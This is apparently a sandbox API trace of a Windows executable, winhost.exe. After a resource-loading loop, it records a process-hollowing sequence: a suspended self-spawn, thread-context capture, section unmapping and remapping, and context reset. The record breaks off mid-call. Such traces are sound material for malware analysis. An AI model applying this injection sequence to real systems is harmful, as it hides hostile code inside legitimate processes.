GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.820] FindResourceW (hModule=0x400000, lpName=0x274, lpType=0x2) returned 0x4707d8 [0201.820] SizeofResource (hModule=0x400000, hResInfo=0x4707d8) returned 0x4c5 [0201.821] LoadResource (hModule=0x400000, hResInfo=0x4707d8) returned 0x485580 [0201.821] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.821] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.821] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.821] FindResourceW (hModule=0x400000, lpName=0x275, lpType=0x2) returned 0x4707e8 [0201.821] SizeofResource (hModule=0x400000, hResInfo=0x4707e8) returned 0x4c5 [0201.821] LoadResource (hModule=0x400000, hResInfo=0x4707e8) returned 0x485a48 [0201.821] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.821] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.822] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.822] FindResourceW (hModule=0x400000, lpName=0x276, lpType=0x2) returned 0x4707f8 [0201.822] SizeofResource (hModule=0x400000, hResInfo=0x4707f8) returned 0x4c5 [0201.822] LoadResource (hModule=0x400000, hResInfo=0x4707f8) returned 0x485f10 [0201.822] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.822] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.822] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.822] FindResourceW (hModule=0x400000, lpName=0x277, lpType=0x2) returned 0x470808 [0201.822] SizeofResource (hModule=0x400000, hResInfo=0x470808) returned 0x4c5 [0201.822] LoadResource (hModule=0x400000, hResInfo=0x470808) returned 0x4863d8 [0201.822] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.822] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.823] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.823] FindResourceW (hModule=0x400000, lpName=0x278, lpType=0x2) returned 0x470818 [0201.823] SizeofResource (hModule=0x400000, hResInfo=0x470818) returned 0x4c5 [0201.823] LoadResource (hModule=0x400000, hResInfo=0x470818) returned 0x4868a0 [0201.823] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.823] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.823] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.823] FindResourceW (hModule=0x400000, lpName=0x279, lpType=0x2) returned 0x470828 [0201.823] SizeofResource (hModule=0x400000, hResInfo=0x470828) returned 0x4c5 [0201.823] LoadResource (hModule=0x400000, hResInfo=0x470828) returned 0x486d68 [0201.823] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.823] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.824] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.824] FindResourceW (hModule=0x400000, lpName=0x27a, lpType=0x2) returned 0x470838 [0201.824] SizeofResource (hModule=0x400000, hResInfo=0x470838) returned 0x4c5 [0201.824] LoadResource (hModule=0x400000, hResInfo=0x470838) returned 0x487230 [0201.824] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.824] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.824] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.824] FindResourceW (hModule=0x400000, lpName=0x27b, lpType=0x2) returned 0x470848 [0201.824] SizeofResource (hModule=0x400000, hResInfo=0x470848) returned 0x4c5 [0201.824] LoadResource (hModule=0x400000, hResInfo=0x470848) returned 0x4876f8 [0201.824] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.824] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.825] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.825] FindResourceW (hModule=0x400000, lpName=0x27c, lpType=0x2) returned 0x470858 [0201.825] SizeofResource (hModule=0x400000, hResInfo=0x470858) returned 0x4c5 [0201.825] LoadResource (hModule=0x400000, hResInfo=0x470858) returned 0x487bc0 [0201.825] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.825] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.825] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.825] FindResourceW (hModule=0x400000, lpName=0x27d, lpType=0x2) returned 0x470868 [0201.825] SizeofResource (hModule=0x400000, hResInfo=0x470868) returned 0x4c5 [0201.825] LoadResource (hModule=0x400000, hResInfo=0x470868) returned 0x488088 [0201.825] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.825] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.826] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.826] FindResourceW (hModule=0x400000, lpName=0x27e, lpType=0x2) returned 0x470878 [0201.826] SizeofResource (hModule=0x400000, hResInfo=0x470878) returned 0x4c5 [0201.826] LoadResource (hModule=0x400000, hResInfo=0x470878) returned 0x488550 [0201.826] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.826] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.826] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.826] FindResourceW (hModule=0x400000, lpName=0x27f, lpType=0x2) returned 0x470888 [0201.826] SizeofResource (hModule=0x400000, hResInfo=0x470888) returned 0x4c5 [0201.826] LoadResource (hModule=0x400000, hResInfo=0x470888) returned 0x488a18 [0201.826] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.826] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.827] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.827] FindResourceW (hModule=0x400000, lpName=0x280, lpType=0x2) returned 0x470898 [0201.827] SizeofResource (hModule=0x400000, hResInfo=0x470898) returned 0x4c5 [0201.827] LoadResource (hModule=0x400000, hResInfo=0x470898) returned 0x488ee0 [0201.827] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.827] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.827] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.827] FindResourceW (hModule=0x400000, lpName=0x281, lpType=0x2) returned 0x4708a8 [0201.827] SizeofResource (hModule=0x400000, hResInfo=0x4708a8) returned 0x4c5 [0201.827] LoadResource (hModule=0x400000, hResInfo=0x4708a8) returned 0x4893a8 [0201.827] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.827] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.828] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.828] FindResourceW (hModule=0x400000, lpName=0x282, lpType=0x2) returned 0x4708b8 [0201.828] SizeofResource (hModule=0x400000, hResInfo=0x4708b8) returned 0x4c5 [0201.828] LoadResource (hModule=0x400000, hResInfo=0x4708b8) returned 0x489870 [0201.828] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.828] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.828] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.828] FindResourceW (hModule=0x400000, lpName=0x283, lpType=0x2) returned 0x4708c8 [0201.828] SizeofResource (hModule=0x400000, hResInfo=0x4708c8) returned 0x4c5 [0201.828] LoadResource (hModule=0x400000, hResInfo=0x4708c8) returned 0x489d38 [0201.828] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.829] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.829] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.829] FindResourceW (hModule=0x400000, lpName=0x284, lpType=0x2) returned 0x4708d8 [0201.829] SizeofResource (hModule=0x400000, hResInfo=0x4708d8) returned 0x4c5 [0201.829] LoadResource (hModule=0x400000, hResInfo=0x4708d8) returned 0x48a200 [0201.829] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.829] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.829] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.829] FindResourceW (hModule=0x400000, lpName=0x285, lpType=0x2) returned 0x4708e8 [0201.829] SizeofResource (hModule=0x400000, hResInfo=0x4708e8) returned 0x4c5 [0201.829] LoadResource (hModule=0x400000, hResInfo=0x4708e8) returned 0x48a6c8 [0201.829] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.830] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.830] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.830] FindResourceW (hModule=0x400000, lpName=0x286, lpType=0x2) returned 0x4708f8 [0201.830] SizeofResource (hModule=0x400000, hResInfo=0x4708f8) returned 0x4c5 [0201.830] LoadResource (hModule=0x400000, hResInfo=0x4708f8) returned 0x48ab90 [0201.830] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.830] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.830] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.830] FindResourceW (hModule=0x400000, lpName=0x287, lpType=0x2) returned 0x470908 [0201.830] SizeofResource (hModule=0x400000, hResInfo=0x470908) returned 0x4c5 [0201.830] LoadResource (hModule=0x400000, hResInfo=0x470908) returned 0x48b058 [0201.830] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.831] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.831] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.831] FindResourceW (hModule=0x400000, lpName=0x288, lpType=0x2) returned 0x470918 [0201.831] SizeofResource (hModule=0x400000, hResInfo=0x470918) returned 0x4c5 [0201.831] LoadResource (hModule=0x400000, hResInfo=0x470918) returned 0x48b520 [0201.831] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.831] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.831] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.831] FindResourceW (hModule=0x400000, lpName=0x289, lpType=0x2) returned 0x470928 [0201.831] SizeofResource (hModule=0x400000, hResInfo=0x470928) returned 0x4c5 [0201.832] LoadResource (hModule=0x400000, hResInfo=0x470928) returned 0x48b9e8 [0201.832] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.832] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.832] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.832] FindResourceW (hModule=0x400000, lpName=0x28a, lpType=0x2) returned 0x470938 [0201.832] SizeofResource (hModule=0x400000, hResInfo=0x470938) returned 0x4c5 [0201.832] LoadResource (hModule=0x400000, hResInfo=0x470938) returned 0x48beb0 [0201.832] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.832] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.832] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.832] FindResourceW (hModule=0x400000, lpName=0x28b, lpType=0x2) returned 0x470948 [0201.832] SizeofResource (hModule=0x400000, hResInfo=0x470948) returned 0x4c5 [0201.833] LoadResource (hModule=0x400000, hResInfo=0x470948) returned 0x48c378 [0201.833] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.833] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.833] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.833] FindResourceW (hModule=0x400000, lpName=0x28c, lpType=0x2) returned 0x470958 [0201.833] SizeofResource (hModule=0x400000, hResInfo=0x470958) returned 0x4c5 [0201.833] LoadResource (hModule=0x400000, hResInfo=0x470958) returned 0x48c840 [0201.833] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.833] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.834] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.834] FindResourceW (hModule=0x400000, lpName=0x28d, lpType=0x2) returned 0x470968 [0201.834] SizeofResource (hModule=0x400000, hResInfo=0x470968) returned 0x4c5 [0201.834] LoadResource (hModule=0x400000, hResInfo=0x470968) returned 0x48cd08 [0201.834] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.834] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.834] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0201.834] FindResourceW (hModule=0x400000, lpName=0x28e, lpType=0x2) returned 0x470978 [0201.834] SizeofResource (hModule=0x400000, hResInfo=0x470978) returned 0x4c5 [0201.834] LoadResource (hModule=0x400000, hResInfo=0x470978) returned 0x48d1d0 [0201.834] VirtualAlloc (lpAddress=0x0, dwSize=0x4c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.835] VirtualFree (lpAddress=0x2810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.835] VirtualAlloc (lpAddress=0x0, dwSize=0x17200, flAllocationType=0x3000, flProtect=0x4) returned 0x2810000 [0201.836] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\winhost.exe\" " [0201.836] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\winhost.exe\" ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18f3a8*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18f404 | out: lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\winhost.exe\" ", lpProcessInformation=0x18f404*(hProcess=0x138, hThread=0x134, dwProcessId=0x67c, dwThreadId=0x600)) returned 1 [0201.840] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x4) returned 0x2a90000 [0201.840] GetThreadContext (in: hThread=0x134, lpContext=0x2a90000 | out: lpContext=0x2a90000*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0x8fb000, Ebp=0x0, Eip=0x77a501c4, SegCs=0x23, EFlags=0x202, Esp=0x18fff0, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0201.841] NtUnmapViewOfSection (ProcessHandle=0x138, BaseAddress=0x400000) returned 0x0 [0201.843] NtCreateSection (in: SectionHandle=0x18f414, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x18f178, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x18f414*=0x140) returned 0x0 [0201.843] NtMapViewOfSection (in: SectionHandle=0x140, ProcessHandle=0xffffffff, BaseAddress=0x18f41c*=0x0, ZeroBits=0x0, CommitSize=0x19000, SectionOffset=0x0, ViewSize=0x18f178*=0x0, InheritDisposition=0x2, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x18f41c*=0x2aa0000, SectionOffset=0x0, ViewSize=0x18f178*=0x19000) returned 0x0 [0201.843] NtMapViewOfSection (in: SectionHandle=0x140, ProcessHandle=0x138, BaseAddress=0x18f3f8*=0x400000, ZeroBits=0x0, CommitSize=0x19000, SectionOffset=0x0, ViewSize=0x18f178*=0x0, InheritDisposition=0x2, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x18f3f8*=0x400000, SectionOffset=0x0, ViewSize=0x18f178*=0x19000) returned 0x0 [0201.845] NtCreateSection (in: SectionHandle=0x18f418, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x18f178, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x18f418*=0x13c) returned 0x0 [0201.845] NtMapViewOfSection (in: SectionHandle=0x13c, ProcessHandle=0x138, BaseAddress=0x18f400*=0x0, ZeroBits=0x0, CommitSize=0x1000, SectionOffset=0x0, ViewSize=0x18f178*=0x0, InheritDisposition=0x2, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x18f400*=0x1a0000, SectionOffset=0x0, ViewSize=0x18f178*=0x1000) returned 0x0 [0201.845] NtMapViewOfSection (in: SectionHandle=0x13c, ProcessHandle=0xffffffff, BaseAddress=0x18f3f0*=0x0, ZeroBits=0x0, CommitSize=0x1000, SectionOffset=0x0, ViewSize=0x18f178*=0x0, InheritDisposition=0x2, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x18f3f0*=0x2ac0000, SectionOffset=0x0, ViewSize=0x18f178*=0x1000) returned 0x0 [0201.845] SetThreadContext (hThread=0x134, lpContext=0x2a90000*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, 